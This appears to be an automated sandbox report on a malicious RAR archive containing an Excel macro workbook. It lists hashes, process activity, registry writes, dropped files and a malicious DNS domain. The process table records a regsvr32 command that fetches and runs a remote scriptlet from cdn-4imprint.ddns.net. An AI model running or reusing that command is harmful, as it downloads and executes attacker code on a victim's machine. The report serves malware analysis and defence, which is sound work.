| File name: | C:\Users\admin\AppData\Local\Temp\test.rar |
| Full analysis: | https://app.any.run/tasks/55bd3f80-29f6-495a-afa6-d339eb8bd154 |
| Verdict: | Malicious activity |
| Analysis date: | July 17, 2019, 13:03:13 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/x-rar |
| File info: | RAR archive data, v5 |
| MD5: | E31D4EA311027C3A9886C91F86CA28F5 |
| SHA1: | 446F0E9109F3380F639B89D714DEBED9AE48253F |
| SHA256: | 007043E4B319ED65F3A332BB1543E556562B2E7CA14EA706D41284EE0D5C873C |
| SSDEEP: | 768:U7W2u0rCxdt5MSxUl/NDgLoB0WDnKWNPh7cb9EEy/cZl4:/wWF5MSal/N7OW7Ph7cuEy/a4 |
MALICIOUS
Runs remote scriptlet
- EXCEL.EXE (PID: 2088)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 2088)
SUSPICIOUS
No suspicious indicators.INFO
Creates files in the user directory
- EXCEL.EXE (PID: 2088)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 2088)
Manual execution by user
- EXCEL.EXE (PID: 2088)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rar | | | RAR compressed archive (v5.0) (61.5) |
|---|---|---|
| .rar | | | RAR compressed archive (gen) (38.4) |
Total processes
38
Monitored processes
3
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2088 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3000 | regsvr32 /s /n /u /i:https://cdn-4imprint.ddns.net:443/adServingData/PROD/TMClient/6/8736/_rg scrobj.dll | C:\Windows\system32\regsvr32.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft(C) Register Server Exit code: 5 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3692 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\test.rar" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
Total events
1 004
Read events
946
Write events
51
Delete events
7
Modification events
| (PID) Process: | (3692) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (3692) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (3692) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\70\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3692) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\test.rar | |||
| (PID) Process: | (3692) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (3692) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (3692) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (3692) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2088) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | #x2 |
Value: 2378320028080000010000000000000000000000 | |||
| (PID) Process: | (2088) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
Executable files
0
Suspicious files
0
Text files
2
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3692 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa3692.12286\test.xlsm | — | |
MD5:— | SHA256:— | |||
| 2088 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR3803.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2088 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
| 2088 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\test.xlsm.LNK | lnk | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
1
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
DNS requests
Domain | IP | Reputation |
|---|---|---|
cdn-4imprint.ddns.net |
| malicious |